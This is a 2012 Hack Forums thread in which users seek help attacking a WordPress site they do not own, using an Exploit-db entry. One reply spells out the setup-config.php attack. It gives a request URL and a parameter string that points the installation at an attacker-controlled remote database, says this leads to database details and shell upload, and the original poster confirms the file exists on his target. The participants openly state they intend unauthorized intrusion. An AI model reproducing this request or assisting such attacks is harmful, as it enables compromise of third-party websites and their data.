

Forum:[Hack Forums](#)

Thread: [Help exploit a Wordpress \[verified Exploit from Exploit-db\]](#)

TheNeutron - August 29, 2012, 2:35 am

I scanned a Wordpress with a scanner & it found this:

Exploit: <http://www.exploit-db.com/exploits/18417/>

Looks like this may work, but I am not sure how to make this work, I mean how to exploit this.

I was wondering if anyone could help me with this over Skype. ?

EDIT: If you think you can help me out, leave a reply saying you are up for it. I'll PM you for your Skype.

Antigen - August 29, 2012, 2:38 am

What tool did you use to scan WordPress ??Me too wanted to hack some word press sites.

TheNeutron - August 29, 2012, 2:42 am

(Aug 29, 2012 02:38 AM)Operator Wrote: [\[CITE\]](#) What tool did you use to scan WordPress ??Me too wanted to hack some word press sites.

Ok, then If anybody wants to help out. I'll let you know & the tools was an online scanner. ?

The Ion - August 29, 2012, 2:53 am

this exploit is something when the setup-config.php isnt deleted it can allow them to install it in remote db and you pass those queries it gives out the db name and details and shell uploading ! mostly all websites could have deleted the that file !

<http://www.site.com/wp-admin/setup-config.php?step=2>

change it with

wordpress&uname=jsmith&pwd=jsmith&dbhost=W.X.Y.Z&prefix=wp_&submit=Submit

this is something related to setup-config.php if you dont have those it is no use of this exploit !

TheNeutron - August 29, 2012, 3:25 am

(Aug 29, 2012 02:53 AM)The Ion Wrote: [\[CITE\]](#) this exploit is something when the setup-config.php isnt deleted it can allow them to install it in remote db and you pass those queries it gives out the db name and details and shell uploading ! mostly all websites could have deleted the that file !

<http://www.site.com/wp-admin/setup-config.php?step=2>

change it with

wordpress&uname=jsmith&pwd=jsmith&dbhost=W.X.Y.Z&prefix=wp_&submit=Submit

this is something related to setup-config.php if you dont have those it is no use of this exploit !

The file exists in my target site. So you can say I have a vulnerable site for this. But Need a bit more info...

Dr. Michio Kaku™ - *August 29, 2012, 3:30 am*

I think wordpress automatically deletes the file after setup.
So chances are very low and OP is very lucky.